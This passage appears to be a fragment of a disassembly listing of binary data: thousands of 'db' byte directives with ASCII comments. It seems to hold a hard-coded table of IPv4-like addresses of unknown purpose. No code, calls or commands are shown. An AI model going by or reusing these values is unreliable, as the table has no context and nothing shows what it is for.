db 82h ; db 7Fh ;  db 0D5h ; db 28h ; ( db 0C0h ; db 1 ; db 0D5h ; db 28h ; ( db 42h ; B db 7Fh ;  db 0D5h ; db 33h ; 3 db 81h ; db 61h ; a db 0D5h ; db 39h ; 9 db 4Ch ; L db 0A1h ; db 0D5h ; db 39h ; 9 db 4Dh ; M db 0A1h ; db 0D5h ; db 3Bh ; ; db 0EEh ; db 0Bh ; db 0D5h ; db 3Dh ; = db 6Ah ; j db 2 ; db 0D5h ; db 3Dh ; = db 63h ; c db 2 ; db 0D5h ; db 4Ah ; J db 4 ; db 82h ; db 0D5h ; db 4Ah ; J db 4 ; db 83h ; db 0D5h ; db 57h ; W db 0 ; db 1 ; db 0D5h ; db 57h ; W db 1 ; db 1 ; db 0D5h ; db 5Bh ; [ db 2 ; db 81h ; db 0D5h ; db 5Bh ; [ db 5 ; db 81h ; db 0D6h ; db 3 ; db 66h ; f db 1Bh ; db 0D6h ; db 3 ; db 32h ; 2 db 1 ; db 0D8h ; db 0 ; db 6Bh ; k db 0Ah ; db 0D8h ; db 0 ; db 6Bh ; k db 14h ; db 0D8h ; db 0 ; db 98h ; db 0Ah ; db 0D8h ; db 1 ; db 0B7h ; db 53h ; S db 0D8h ; db 1 ; db 0C0h ; db 2 ; db 0D8h ; db 1 ; db 0C0h ; db 4 ; db 0D8h ; db 1 ; db 5Ah ; Z db 2 ; db 0D8h ; db 64h ; d db 60h ; ` db 9 ; db 0D8h ; db 65h ; e db 77h ; w db 33h ; 3 db 0D8h ; db 65h ; e db 77h ; w db 34h ; 4 db 0D8h ; db 65h ; e db 0CAh ; db 0Ah ; db 0D8h ; db 65h ; e db 0D6h ; db 2 ; db 0D8h ; db 65h ; e db 0F3h ; db 2 ; db 0D8h ; db 65h ; e db 1Eh ; db 82h ; db 0D8h ; db 65h ; e db 1Eh ; db 85h ; db 0D8h ; db 65h ; e db 2Bh ; + db 0FDh ; db 0D8h ; db 65h ; e db 50h ; P db 3 ; db 0D8h ; db 65h ; e db 53h ; S db 2 ; db 0D8h ; db 65h ; e db 5Fh ; _ db 0F9h ; db 0D8h ; db 67h ; g db 80h ; db 2 ; db 0D8h ; db 68h ; h db 60h ; ` db 0Ah ; db 0D8h ; db 68h ; h db 60h ; ` db 0Bh ; db 0D8h ; db 69h ; i db 0A8h ; db 33h ; 3 db 0D8h ; db 69h ; i db 0CEh ; db 5 ; db 0D8h ; db 6Bh ; k db 0 ; db 17h ; db 0D8h ; db 6Bh ; k db 0 ; db 3 ; db 0D8h ; db 0Bh ; db 80h ; db 16h ; db 0D8h ; db 0Bh ; db 0D0h ; db 4 ; db 0D8h ; db 0Bh ; db 5Ch ; \ db 32h ; 2 db 0D8h ; db 6Fh ; o db 8Dh ; db 0C7h ; db 0D8h ; db 6Fh ; o db 0B2h ; db 2 ; db 0D8h ; db 6Fh ; o db 0B2h ; db 3 ; db 0D8h ; db 6Fh ; o db 0B4h ; db 3 ; db 0D8h ; db 6Fh ; o db 0B8h ; db 2 ; db 0D8h ; db 6Fh ; o db 0B8h ; db 3 ; db 0D8h ; db 6Fh ; o db 0CAh ; db 0Fh ; db 0D8h ; db 6Fh ; o db 41h ; A db 0D9h ; db 0D8h ; db 72h ; r db 0C0h ; db 0Fh ; db 0D8h ; db 73h ; s db 80h ; db 0Ah ; db 0D8h ; db 73h ; s db 80h ; db 21h ; ! db 0D8h ; db 73h ; s db 53h ; S db 0Ah ; db 0D8h ; db 73h ; s db 53h ; S db 0Ch ; db 0D8h ; db 74h ; t db 60h ; ` db 2 ; db 0D8h ; db 74h ; t db 60h ; ` db 3 ; db 0D8h ; db 0Ch ; db 0 ; db 0Ah ; db 0D8h ; db 0Ch ; db 0 ; db 14h ; db 0D8h ; db 0Ch ; db 30h ; 0 db 17h ; db 0D8h ; db 79h ; y db 0E0h ; db 42h ; B db 0D8h ; db 79h ; y db 20h ; db 0Ah ; db 0D8h ; db 79h ; y db 20h ; db 0CDh ; db 0D8h ; db 79h ; y db 60h ; ` db 1Ah ; db 0D8h ; db 7Eh ; ~ db 80h ; db 29h ; ) db 0D8h ; db 7Eh ; ~ db 88h ; db 0FBh ; db 0D8h ; db 7Fh ;  db 0DAh ; db 1Bh ; db 0D8h ; db 7Fh ;  db 0DAh ; db 1Eh ; db 0D8h ; db 81h ; db 0C1h ; db 20h ; db 0D8h ; db 81h ; db 0C1h ; db 21h ; ! db 0D8h ; db 81h ; db 1Eh ; db 5 ; db 0D8h ; db 81h ; db 1Eh ; db 8 ; db 0D8h ; db 81h ; db 30h ; 0 db 2 ; db 0D8h ; db 81h ; db 5Ah ; Z db 53h ; S db 0D8h ; db 0Dh ; db 0 ; db 0Ah ; db 0D8h ; db 0Dh ; db 88h ; db 2 ; db 0D8h ; db 0Dh ; db 19h ; db 64h ; d db 0D8h ; db 0Dh ; db 20h ; db 3 ; db 0D8h ; db 0Dh ; db 20h ; db 4 ; db 0D8h ; db 0Dh ; db 34h ; 4 db 2 ; db 0D8h ; db 0Dh ; db 34h ; 4 db 3 ; db 0D8h ; db 0Dh ; db 6 ; db 5 ; db 0D8h ; db 0Dh ; db 9 ; db 2 ; db 0D8h ; db 0Dh ; db 9 ; db 3 ; db 0D8h ; db 83h ; db 0 ; db 0Ch ; db 0D8h ; db 83h ; db 4 ; db 0Ch ; db 0D8h ; db 83h ; db 5Fh ; _ db 14h ; db 0D8h ; db 84h ; db 0BAh ; db 0CDh ; db 0D8h ; db 85h ; db 0F9h ; db 0Ch ; db 0D8h ; db 87h ; db 9Eh ; db 0E2h ; db 0D8h ; db 87h ; db 9Eh ; db 0E3h ; db 0D8h ; db 88h ; db 0C0h ; db 88h ; db 0D8h ; db 88h ; db 5Fh ; _ db 13h ; db 0D8h ; db 88h ; db 5Fh ; _ db 3 ; db 0D8h ; db 88h ; db 5Fh ; _ db 53h ; S db 0D8h ; db 8Bh ; db 0CAh ; db 95h ; db 0D8h ; db 8Bh ; db 0D5h ; db 0A5h ; db 0D8h ; db 8Bh ; db 0DCh ; db 2Ah ; * db 0D8h ; db 0Eh ; db 0Ah ; db 0Ah ; db 0D8h ; db 0Eh ; db 0Ah ; db 0Ch ; db 0D8h ; db 8Ch ; db 8Ch ; db 14h ; db 0D8h ; db 8Ch ; db 8Ch ; db 15h ; db 0D8h ; db 8Ch ; db 8Dh ; db 0Bh ; db 0D8h ; db 8Ch ; db 10h ; db 0FCh ; db 0D8h ; db 8Ch ; db 10h ; db 0FEh ; db 0D8h ; db 8Ch ; db 11h ; db 0FCh ; db 0D8h ; db 8Ch ; db 11h ; db 0FEh ; db 0D8h ; db 8Dh ; db 7Bh ; { db 1Ch ; db 0D8h ; db 8Dh ; db 98h ; db 0Ah ; db 0D8h ; db 8Dh ; db 0BCh ; db 42h ; B db 0D8h ; db 8Dh ; db 0BEh ; db 1 ; db 0D8h ; db 8Dh ; db 0BEh ; db 11h ; db 0D8h ; db 8Dh ; db 18h ; db 2 ; db 0D8h ; db 8Dh ; db 18h ; db 3 ; db 0D8h ; db 8Dh ; db 27h ; ' db 26h ; & db 0D8h ; db 8Dh ; db 27h ; ' db 27h ; ' db 0D8h ; db 8Dh ; db 4 ; db 96h ; db 0D8h ; db 8Dh ; db 4 ; db 0A0h ; db 0D8h ; db 8Dh ; db 5 ; db 0Ah ; db 0D8h ; db 8Dh ; db 5 ; db 7 ; db 0D8h ; db 8Dh ; db 41h ; A db 6Fh ; o db 0D8h ; db 8Dh ; db 7 ; db 2 ; db 0D8h ; db 8Dh ; db 7 ; db 0FEh ; db 0D8h ; db 8Dh ; db 8 ; db 1 ; db 0D8h ; db 8Dh ; db 8 ; db 2 ; db 0D8h ; db 8Fh ; db 50h ; P db 3 ; db 0D8h ; db 91h ; db 0B8h ; db 41h ; A db 0D8h ; db 91h ; db 0B8h ; db 42h ; B db 0D8h ; db 91h ; db 41h ; A db 2 ; db 0D8h ; db 91h ; db 41h ; A db 3 ; db 0D8h ; db 92h ; db 46h ; F db 3 ; db 0D8h ; db 92h ; db 46h ; F db 4 ; db 0D8h ; db 94h ; db 0E2h ; db 1Dh ; db 0D8h ; db 97h ; db 12h ; db 4Eh ; N db 0D8h ; db 97h ; db 0C0h ; db 1 ; db 0D8h ; db 98h ; db 1Ah ; db 0A8h ; db 0D8h ; db 98h ; db 22h ; " db 9Dh ; db 0D8h ; db 9Ch ; db 2 ; db 2 ; db 0D8h ; db 9Ch ; db 2 ; db 3 ; db 0D8h ; db 9Fh ; db 4Ch ; L db 0D1h ; db 0D8h ; db 0A0h ; db 6 ; db 22h ; " db 0D8h ; db 0A0h ; db 7 ; db 22h ; " db 0D8h ; db 0A1h ; db 7Ch ; | db 1 ; db 0D8h ; db 0A1h ; db 7Ch ; | db 2 ; db 0D8h ; db 0A1h ; db 7Ch ; | db 3 ; db 0D8h ; db 0A1h ; db 8Dh ; db 1 ; db 0D8h ; db 0A1h ; db 20h ; db 2 ; db 0D8h ; db 0A1h ; db 22h ; " db 2 ; db 0D8h ; db 0A1h ; db 22h ; " db 4 ; db 0D8h ; db 0A1h ; db 24h ; $ db 2 ; db 0D8h ; db 0A1h ; db 38h ; 8 db 3Ch ; < db 0D8h ; db 0A1h ; db 4Bh ; K db 1 ; db 0D8h ; db 0A1h ; db 4Bh ; K db 2 ; db 0D8h ; db 0A3h ; db 78h ; x db 13h ; db 0D8h ; db 0A3h ; db 78h ; x db 15h ; db 0D8h ; db 0A8h ; db 0E0h ; db 0CEh ; db 0D8h ; db 0A8h ; db 0E0h ; db 0CFh ; db 0D8h ; db 0A8h ; db 2Eh ; . db 0Ah ; db 0D8h ; db 0A8h ; db 40h ; @ db 2 ; db 0D8h ; db 11h ; db 8Bh ; db 0CEh ; db 0D8h ; db 0AAh ; db 0E4h ; db 2 ; db 0D8h ; db 0ABh ; db 0A7h ; db 0Bh ; db 0D8h ; db 0ABh ; db 0A7h ; db 0Ch ; db 0D8h ; db 0ABh ; db 0C0h ; db 53h ; S db 0D8h ; db 0ABh ; db 0C1h ; db 54h ; T db 0D8h ; db 0ACh ; db 0C8h ; db 2 ; db 0D8h ; db 0AFh ; db 11h ; db 0Ah ; db 0D8h ; db 0B2h ; db 5Ch ; \ db 72h ; r db 0D8h ; db 0B2h ; db 5Ch ; \ db 62h ; b db 0D8h ; db 0B3h ; db 0EFh ; db 50h ; P db 0D8h ; db 0B4h ; db 7Ah ; z db 6 ; db 0D8h ; db 0B4h ; db 0C0h ; db 0Ah ; db 0D8h ; db 0B4h ; db 63h ; c db 6 ; db 0D8h ; db 0B5h ; db 1 ; db 2 ; db 0D8h ; db 0B5h ; db 2 ; db 2 ; db 0D8h ; db 0B5h ; db 27h ; ' db 1Ah ; db 0D8h ; db 0B5h ; db 51h ; Q db 2 ; db 0D8h ; db 0B6h ; db 1 ; db 0E6h ; db 0D8h ; db 0B6h ; db 1 ; db 0E7h ; db 0D8h ; db 0B7h ; db 77h ; w db 0C2h ; db 0D8h ; db 0B7h ; db 77h ; w db 0C3h ; db 0D8h ; db 0B8h ; db 5Fh ; _ db 2 ; db 0D8h ; db 0B8h ; db 5Fh ; _ db 3 ; db 0D8h ; db 0BAh ; db 4 ; db 0B6h ; db 0D8h ; db 0BAh ; db 4 ; db 0CAh ; db 0D8h ; db 0BBh ; db 6Eh ; n db 5 ; db 0D8h ; db 0BBh ; db 6Fh ; o db 5 ; db 0D8h ; db 0BEh ; db 8Ch ; db 2 ; db 0D8h ; db 0BFh ; db 93h ; db 0Bh ; db 0D8h ; db 0BFh ; db 0A5h ; db 2 ; db 0D8h ; db 0BFh ; db 0A5h ; db 3 ; db 0D8h ; db 0BFh ; db 0ABh ; db 1 ; db 0D8h ; db 0BFh ; db 0ABh ; db 2 ; db 0D8h ; db 0BFh ; db 0B7h ; db 5 ; db 0D8h ; db 0BFh ; db 0F0h ; db 2 ; db 0D8h ; db 0BFh ; db 36h ; 6 db 65h ; e db 0D8h ; db 0C2h ; db 0C0h ; db 8 ; db 0D8h ; db 2 ; db 0A0h ; db 5 ; db 0D8h ; db 14h ; db 1Ch ; db 11h ; db 0D8h ; db 14h ; db 3Fh ; ? db 91h ; db 0D8h ; db 14h ; db 3Fh ; ? db 93h ; db 0D8h ; db 14h ; db 62h ; b db 5 ; db 0D8h ; db 0C8h ; db 91h ; db 40h ; @ db 0D8h ; db 0C8h ; db 0CEh ; db 8Ch ; db 0D8h ; db 0C8h ; db 44h ; D db 6 ; db 0D8h ; db 0C9h ; db 60h ; ` db 21h ; ! db 0D8h ; db 0C9h ; db 60h ; ` db 22h ; " db 0D8h ; db 0CAh ; db 0C1h ; db 0Eh ; db 0D8h ; db 0CCh ; db 0 ; db 21h ; ! db 0D8h ; db 0CCh ; db 0 ; db 23h ; # db 0D8h ; db 0CDh ; db 89h ; db 2 ; db 0D8h ; db 0CDh ; db 89h ; db 3 ; db 0D8h ; db 0CFh ; db 54h ; T db 19h ; db 0D8h ; db 0CFh ; db 5Ah ; Z db 0FEh ; db 0D8h ; db 0D0h ; db 0B1h ; db 0A2h ; db 0D8h ; db 0D0h ; db 26h ; & db 82h ; db 0D8h ; db 0D0h ; db 60h ; ` db 42h ; B db 0D8h ; db 15h ; db 80h ; db 1 ; db 0D8h ; db 15h ; db 81h ; db 1 ; db 0D8h ; db 15h ; db 6 ; db 12h ; db 0D8h ; db 15h ; db 40h ; @ db 0Fh ; db 0D8h ; db 15h ; db 40h ; @ db 10h ; db 0D8h ; db 15h ; db 40h ; @ db 11h ; db 0D8h ; db 0D3h ; db 0A0h ; db 5 ; db 0D8h ; db 0D3h ; db 0C0h ; db 2 ; db 0D8h ; db 0D3h ; db 0C0h ; db 6 ; db 0D8h ; db 0D5h ; db 0 ; db 6Bh ; k db 0D8h ; db 0D5h ; db 0 ; db 6Ch ; l db 0D8h ; db 0D5h ; db 24h ; $ db 83h ; db 0D8h ; db 0D9h ; db 81h ; db 33h ; 3 db 0D8h ; db 0D9h ; db 81h ; db 34h ; 4 db 0D8h ; db 0DAh ; db 82h ; db 2 ; db 0D8h ; db 0DAh ; db 82h ; db 3Ah ; : db 0D8h ; db 0DAh ; db 83h ; db 2 ; db 0D8h ; db 0DBh ; db 0FDh ; db 0D3h ; db 0D8h ; db 0DBh ; db 0FEh ; db 0Ah ; db 0D8h ; db 0DDh ; db 0A2h ; db 6Fh ; o db 0D8h ; db 0DDh ; db 0A2h ; db 51h ; Q db 0D8h ; db 0DDh ; db 0CDh ; db 96h ; db 0D8h ; db 0DDh ; db 0D2h ; db 5 ; db 0D8h ; db 0DDh ; db 0F0h ; db 83h ; db 0D8h ; db 0DDh ; db 0F0h ; db 85h ; db 0D8h ; db 0DDh ; db 60h ; ` db 2 ; db 0D8h ; db 0DDh ; db 60h ; ` db 0DCh ; db 0D8h ; db 0E2h ; db 40h ; @ db 15h ; db 0D8h ; db 0E3h ; db 0 ; db 64h ; d db 0D8h ; db 0E3h ; db 70h ; p db 32h ; 2 db 0D8h ; db 0E3h ; db 38h ; 8 db 14h ; db 0D8h ; db 0E4h ; db 0A0h ; db 6 ; db 0D8h ; db 0E4h ; db 0A0h ; db 7 ; db 0D8h ; db 0E7h ; db 0 ; db 93h ; db 0D8h ; db 0E7h ; db 6Fh ; o db 0Eh ; db 0D8h ; db 0E7h ; db 80h ; db 2 ; db 0D8h ; db 0E7h ; db 80h ; db 4 ; db 0D8h ; db 0E7h ; db 0A0h ; db 0Ah ; db 0D8h ; db 0E7h ; db 0A0h ; db 2 ; db 0D8h ; db 0E7h ; db 29h ; ) db 13h ; db 0D8h ; db 0E7h ; db 29h ; ) db 16h ; db 0D8h ; db 0EAh ; db 0E7h ; db 4 ; db 0D8h ; db 0EAh ; db 0EAh ; db 1Fh ; db 0D8h ; db 0ECh ; db 0E3h ; db 0C9h ; db 0D8h ; db 0EEh ; db 0 ; db 0Ah ; db 0D8h ; db 0EEh ; db 0 ; db 0Bh ; db 0D8h ; db 0EEh ; db 0 ; db 11h ; db 0D8h ; db 0EEh ; db 62h ; b db 34h ; 4 db 0D8h ; db 0EEh ; db 62h ; b db 35h ; 5 db 0D8h ; db 0EFh ; db 40h ; @ db 9Ah ; db 0D8h ; db 0EFh ; db 40h ; @ db 9Bh ; db 0D8h ; db 0F0h ; db 6Ah ; j db 2 ; db 0D8h ; db 0F0h ; db 6Ah ; j db 4 ; db 0D8h ; db 0F0h ; db 80h ; db 4 ; db 0D8h ; db 0F0h ; db 2Ah ; * db 21h ; ! db 0D8h ; db 0F0h ; db 6 ; db 62h ; b db 0D8h ; db 0F1h ; db 0 ; db 85h ; db 0D8h ; db 0F1h ; db 0 ; db 97h ; db 0D8h ; db 0F1h ; db 84h ; db 2 ; db 0D8h ; db 0F1h ; db 84h ; db 3 ; db 0D8h ; db 0F1h ; db 0A1h ; db 4 ; db 0D8h ; db 0F1h ; db 0A1h ; db 5 ; db 0D8h ; db 0F1h ; db 40h ; @ db 0Ah ; db 0D8h ; db 0F1h ; db 40h ; @ db 0Bh ; db 0D8h ; db 0F2h ; db 0 ; db 2 ; db 0D8h ; db 0F2h ; db 0 ; db 3 ; db 0D8h ; db 0F9h ; db 0C0h ; db 64h ; d db 0D8h ; db 0FBh ; db 64h ; d db 1 ; db 0D8h ; db 0FBh ; db 64h ; d db 2 ; db 0D8h ; db 0FBh ; db 80h ; db 1 ; db 0D8h ; db 0FBh ; db 80h ; db 2 ; db 0D8h ; db 0FBh ; db 0E1h ; db 0C8h ; db 0D8h ; db 0FBh ; db 0E1h ; db 0C9h ; db 0D8h ; db 0FBh ; db 20h ; db 64h ; d db 0D8h ; db 0FBh ; db 20h ; db 65h ; e db 0D8h ; db 0FBh ; db 40h ; @ db 0Bh ; db 0D8h ; db 0FBh ; db 40h ; @ db 0Ch ; db 0D8h ; db 0FEh ; db 0 ; db 9 ; db 0D8h ; db 0FEh ; db 0B5h ; db 0A5h ; db 0D8h ; db 1Ah ; db 6Ch ; l db 44h ; D db 0D8h ; db 1Ah ; db 6Ch ; l db 45h ; E db 0D8h ; db 1Ah ; db 80h ; db 1 ; db 0D8h ; db 1Ah ; db 81h ; db 1 ; db 0D8h ; db 20h ; db 78h ; x db 15h ; db 0D8h ; db 20h ; db 7Eh ; ~ db 96h ; db 0D8h ; db 20h ; db 4Ah ; J db 0Ah ; db 0D8h ; db 21h ; ! db 6Ch ; l db 46h ; F db 0D8h ; db 21h ; ! db 57h ; W db 68h ; h db 0D8h ; db 21h ; ! db 57h ; W db 69h ; i db 0D8h ; db 25h ; % db 40h ; @ db 6 ; db 0D8h ; db 25h ; % db 40h ; @ db 7 ; db 0D8h ; db 26h ; & db 60h ; ` db 2 ; db 0D8h ; db 26h ; & db 60h ; ` db 3 ; db 0D8h ; db 27h ; ' db 0C2h ; db 8 ; db 0D8h ; db 27h ; ' db 0C2h ; db 9 ; db 0D8h ; db 29h ; ) db 65h ; e db 0Fh ; db 0D8h ; db 29h ; ) db 65h ; e db 11h ; db 0D8h ; db 29h ; ) db 80h ; db 0C8h ; db 0D8h ; db 29h ; ) db 80h ; db 49h ; I db 0D8h ; db 29h ; ) db 0A0h ; db 1 ; db 0D8h ; db 29h ; ) db 0A0h ; db 2 ; db 0D8h ; db 29h ; ) db 0C0h ; db 0Dh ; db 0D8h ; db 29h ; ) db 0C0h ; db 0Eh ; db 0D8h ; db 29h ; ) db 0E0h ; db 2 ; db 0D8h ; db 2Ch ; , db 14h ; db 10h ; db 0D8h ; db 2Eh ; . db 60h ; ` db 64h ; d db 0D8h ; db 2Eh ; . db 60h ; ` db 65h ; e db 0D8h ; db 2Fh ; / db 80h ; db 0Bh ; db 0D8h ; db 5 ; db 0D6h ; db 0AFh ; db 0D8h ; db 5 ; db 0D6h ; db 3 ; db 0D8h ; db 34h ; 4 db 1 ; db 1 ; db 0D8h ; db 34h ; 4 db 1 ; db 21h ; ! db 0D8h ; db 34h ; 4 db 13h ; db 22h ; " db 0D8h ; db 37h ; 7 db 40h ; @ db 2 ; db 0D8h ; db 37h ; 7 db 50h ; P db 2 ; db 0D8h ; db 39h ; 9 db 80h ; db 2 ; db 0D8h ; db 39h ; 9 db 82h ; db 1 ; db 0D8h ; db 3Ah ; : db 98h ; db 4 ; db 0D8h ; db 3Ah ; : db 98h ; db 6 ; db 0D8h ; db 3Ch ; < db 0A6h ; db 0C4h ; db 0D8h ; db 3Ch ; < db 0C5h ; db 1 ; db 0D8h ; db 3Ch ; < db 0C5h ; db 0C8h ; db 0D8h ; db 3Dh ; = db 82h ; db 2 ; db 0D8h ; db 3Dh ; = db 8Eh ; db 4 ; db 0D8h ; db 3Dh ; = db 8Eh ; db 5 ; db 0D8h ; db 3Dh ; = db 8Fh ; db 0FCh ; db 0D8h ; db 3Dh ; = db 8Fh ; db 0FDh ; db 0D8h ; db 3Dh ; = db 90h ; db 1 ; db 0D8h ; db 3Dh ; = db 0A4h ; db 1 ; db 0D8h ; db 3Dh ; = db 0B8h ; db 2 ; db 0D8h ; db 3Dh ; = db 0C0h ; db 64h ; d db 0D8h ; db 3Dh ; = db 0DAh ; db 2 ; db 0D8h ; db 3Dh ; = db 0DAh ; db 3 ; db 0D8h ; db 3Dh ; = db 0DBh ; db 5 ; db 0D8h ; db 3Dh ; = db 17h ; db 5 ; db 0D8h ; db 3Dh ; = db 2Ch ; , db 2 ; db 0D8h ; db 41h ; A db 34h ; 4 db 0Ah ; db 0D8h ; db 41h ; A db 34h ; 4 db 3 ; db 0D8h ; db 44h ; D db 1 ; db 64h ; d db 0D8h ; db 44h ; D db 2 ; db 64h ; d db 0D8h ; db 44h ; D db 3Fh ; ? db 14h ; db 0D8h ; db 7 ; db 0A0h ; db 4Bh ; K db 0D8h ; db 4Dh ; M db 55h ; U db 11h ; db 0D8h ; db 4Dh ; M db 55h ; U db 16h ; db 0D8h ; db 4Fh ; O db 7Fh ;  db 6 ; db 0D8h ; db 4Fh ; O db 90h ; db 2 ; db 0D8h ; db 4Fh ; O db 99h ; db 0FEh ; db 0D8h ; db 4Fh ; O db 46h ; F db 2 ; db 0D8h ; db 51h ; Q db 80h ; db 0C8h ; db 0D8h ; db 51h ; Q db 80h ; db 0C9h ; db 0D8h ; db 51h ; Q db 60h ; ` db 43h ; C db 0D8h ; db 51h ; Q db 60h ; ` db 44h ; D db 0D8h ; db 52h ; R db 0 ; db 0Dh ; db 0D8h ; db 52h ; R db 0 ; db 0Fh ; db 0D8h ; db 52h ; R db 0 ; db 8 ; db 0D8h ; db 53h ; S db 0A0h ; db 0FAh ; db 0D8h ; db 53h ; S db 0A1h ; db 0FAh ; db 0D8h ; db 55h ; U db 0D5h ; db 3 ; db 0D8h ; db 56h ; V db 0A0h ; db 3Dh ; = db 0D8h ; db 56h ; V db 0A0h ; db 3Eh ; > db 0D8h ; db 56h ; V db 0E5h ; db 5 ; db 0D8h ; db 56h ; V db 40h ; @ db 21h ; ! db 0D8h ; db 56h ; V db 40h ; @ db 22h ; " db 0D8h ; db 57h ; W db 0 ; db 0C5h ; db 0D8h ; db 57h ; W db 40h ; @ db 0Ch ; db 0D8h ; db 59h ; Y db 70h ; p db 2 ; db 0D8h ; db 59h ; Y db 0DFh ; db 4 ; db 0D8h ; db 59h ; Y db 0E2h ; db 2 ; db 0D8h ; db 59h ; Y db 0E2h ; db 3 ; db 0D8h ; db 5Ah ; Z db 30h ; 0 db 1 ; db 0D8h ; db 5Ah ; Z db 30h ; 0 db 2 ; db 0D8h ; db 5Bh ; [ db 7Fh ;  db 2 ; db 0D8h ; db 5Bh ; [ db 7Fh ;  db 3 ; db 0D8h ; db 5Bh ; [ db 91h ; db 5 ; db 0D8h ; db 5Bh ; [ db 9Ch ; db 0Eh ; db 0D8h ; db 5Bh ; [ db 10h ; db 0Bh ; db 0D8h ; db 5Bh ; [ db 10h ; db 0Ch ; db 0D8h ; db 5Bh ; [ db 0ACh ; db 0Bh ; db 0D8h ; db 5Bh ; [ db 0ACh ; db 0Ch ; db 0D8h ; db 5Bh ; [ db 0AEh ; db 0E7h ; db 0D8h ; db 5Bh ; [ db 0AEh ; db 0E8h ; db 0D8h ; db 5Bh ; [ db 0C0h ; db 1 ; db 0D8h ; db 5Bh ; [ db 0C0h ; db 2 ; db 0D8h ; db 5Bh ; [ db 2 ; db 2 ; db 0D8h ; db 5Bh ; [ db 1Bh ; db 0Ah ; db 0D8h ; db 5Bh ; [ db 38h ; 8 db 1Ch ; db 0D8h ; db 5Bh ; [ db 38h ; 8 db 1Dh ; db 0D8h ; db 5Bh ; [ db 52h ; R db 2 ; db 0D8h ; db 5Bh ; [ db 57h ; W db 0F8h ; db 0D8h ; db 5Bh ; [ db 57h ; W db 0F9h ; db 0D8h ; db 5Fh ; _ db 0F9h ; db 3 ; db 0D8h ; db 5Fh ; _ db 0F9h ; db 4 ; db 0D8h ; db 62h ; b db 0B4h ; db 0Ah ; db 0D8h ; db 62h ; b db 0B4h ; db 0Bh ; db 0D8h ; db 62h ; b db 40h ; @ db 0Ch ; db 0D8h ; db 62h ; b db 40h ; @ db 4 ; db 0D8h ; db 63h ; c db 0C1h ; db 1 ; db 0D8h ; db 63h ; c db 0C1h ; db 13h ; db 0D8h ; db 63h ; c db 0E1h ; db 1Eh ; db 0D8h ; db 63h ; c db 0E1h ; db 1Fh ; db 0D8h ; db 63h ; c db 38h ; 8 db 1 ; db 0D8h ; db 63h ; c db 38h ; 8 db 14h ; db 0D9h ; db 71h ; q db 0E0h ; db 3 ; db 0D9h ; db 0C6h ; db 1 ; db 2 ; db 0D9h ; db 21h ; ! db 96h ; db 0C9h ; db 0D9h ; db 21h ; ! db 96h ; db 0CEh ; db 0D9h ; db 49h ; I db 0E0h ; db 1 ; db 0D9h ; db 49h ; I db 0E8h ; db 63h ; c db 18h ; db 0 ; db 0 ; db 1Bh ; db 18h ; db 70h ; p db 1Fh ; db 0FEh ; db 18h ; db 70h ; p db 20h ; db 2 ; db 18h ; db 78h ; x db 2Ah ; * db 2 ; db 18h ; db 78h ; x db 2Ah ; * db 3 ; db 18h ; db 7Bh ; { db 70h ; p db 56h ; V db 18h ; db 80h ; db 1 ; db 50h ; P db 18h ; db 80h ; db 1 ; db 51h ; Q db 18h ; db 80h ; db 1 ; db 52h ; R db 18h ; db 81h ; db 0 ; db 67h ; g db 18h ; db 81h ; db 0 ; db 42h ; B db 18h ; db 82h ; db 1 ; db 2Bh ; + db 18h ; db 8Eh ; db 66h ; f db 0Ah ; db 18h ; db 8Eh ; db 66h ; f db 14h ; db 18h ; db 99h ; db 16h ; db 0Dh ; db 18h ; db 99h ; db 16h ; db 8Dh ; db 18h ; db 9Bh ; db 0Ah ; db 0Ah ; db 18h ; db 0A1h ; db 0C1h ; db 40h ; @ db 18h ; db 0A1h ; db 0C1h ; db 41h ; A db 18h ; db 2 ; db 0 ; db 1Bh ; db 18h ; db 0D5h ; db 1Ch ; db 26h ; & db 18h ; db 0D5h ; db 3Ch ; < db 4Dh ; M db 18h ; db 0D5h ; db 3Ch ; < db 4Eh ; N db 18h ; db 0D8h ; db 6Ch ; l db 9 ; db 18h ; db 0DBh ; db 4 ; db 0Bh ; db 18h ; db 0DBh ; db 4 ; db 0D8h ; db 18h ; db 0DDh ; db 1Eh ; db 3 ; db 18h ; db 0DDh ; db 1Eh ; db 4 ; db 18h ; db 0DDh ; db 5Fh ; _ db 3 ; db 18h ; db 0DDh ; db 5Fh ; _ db 4 ; db 18h ; db 0E2h ; db 1 ; db 0Bh ; db 18h ; db 0E2h ; db 1 ; db 14h ; db 18h ; db 0E2h ; db 1 ; db 15h ; db 18h ; db 0E2h ; db 1 ; db 2Ah ; * db 18h ; db 0E2h ; db 1 ; db 2Eh ; . db 18h ; db 0E2h ; db 1 ; db 5Ah ; Z db 18h ; db 0EAh ; db 0 ; db 5 ; db 18h ; db 0F0h ; db 8Dh ; db 0F1h ; db 18h ; db 0F7h ; db 18h ; db 26h ; & db 18h ; db 19h ; db 0C3h ; db 1 ; db 18h ; db 19h ; db 0C3h ; db 3 ; db 18h ; db 19h ; db 0E3h ; db 40h ; @ db 18h ; db 19h ; db 0E3h ; db 42h ; B db 18h ; db 1Eh ; db 0C8h ; db 3 ; db 18h ; db 1Eh ; db 0C9h ; db 3 ; db 18h ; db 30h ; 0 db 2Bh ; + db 3 ; db 18h ; db 40h ; @ db 3Fh ; ? db 0C3h ; db 18h ; db 40h ; @ db 3Fh ; ? db 0D4h ; db 18h ; db 43h ; C db 0FDh ; db 0C3h ; db 18h ; db 43h ; C db 0FDh ; db 0D4h ; db 18h ; db 45h ; E db 0FFh ; db 0C3h ; db 18h ; db 45h ; E db 0FFh ; db 0D4h ; db 18h ; db 5Ch ; \ db 0E2h ; db 0Bh ; db 18h ; db 5Ch ; \ db 0E2h ; db 0ACh ; db 18h ; db 5Ch ; \ db 0E2h ; db 0ADh ; db 18h ; db 5Ch ; \ db 0E2h ; db 0AEh ; db 20h ; db 0FEh ; db 2 ; db 46h ; F db 20h ; db 60h ; ` db 86h ; db 11h ; db 20h ; db 61h ; a db 0EFh ; db 35h ; 5 db 23h ; # db 8 ; db 2 ; db 29h ; ) db 23h ; # db 8 ; db 2 ; db 2Ah ; * db 26h ; & db 0B2h ; db 22h ; " db 0FEh ; db 26h ; & db 0DBh ; db 85h ; db 0CAh ; db 26h ; & db 0E7h ; db 81h ; db 55h ; U db 26h ; & db 0F4h ; db 6Fh ; o db 2 ; db 26h ; & db 8 ; db 0BDh ; db 2 ; db 26h ; & db 8 ; db 30h ; 0 db 2 ; db 26h ; & db 8 ; db 5 ; db 2 ; db 26h ; & db 8 ; db 32h ; 2 db 2 ; db 26h ; & db 8 ; db 5Ch ; \ db 2 ; db 26h ; & db 8 ; db 5Dh ; ] db 2 ; db 26h ; & db 8 ; db 5Eh ; ^ db 2 ; db 26h 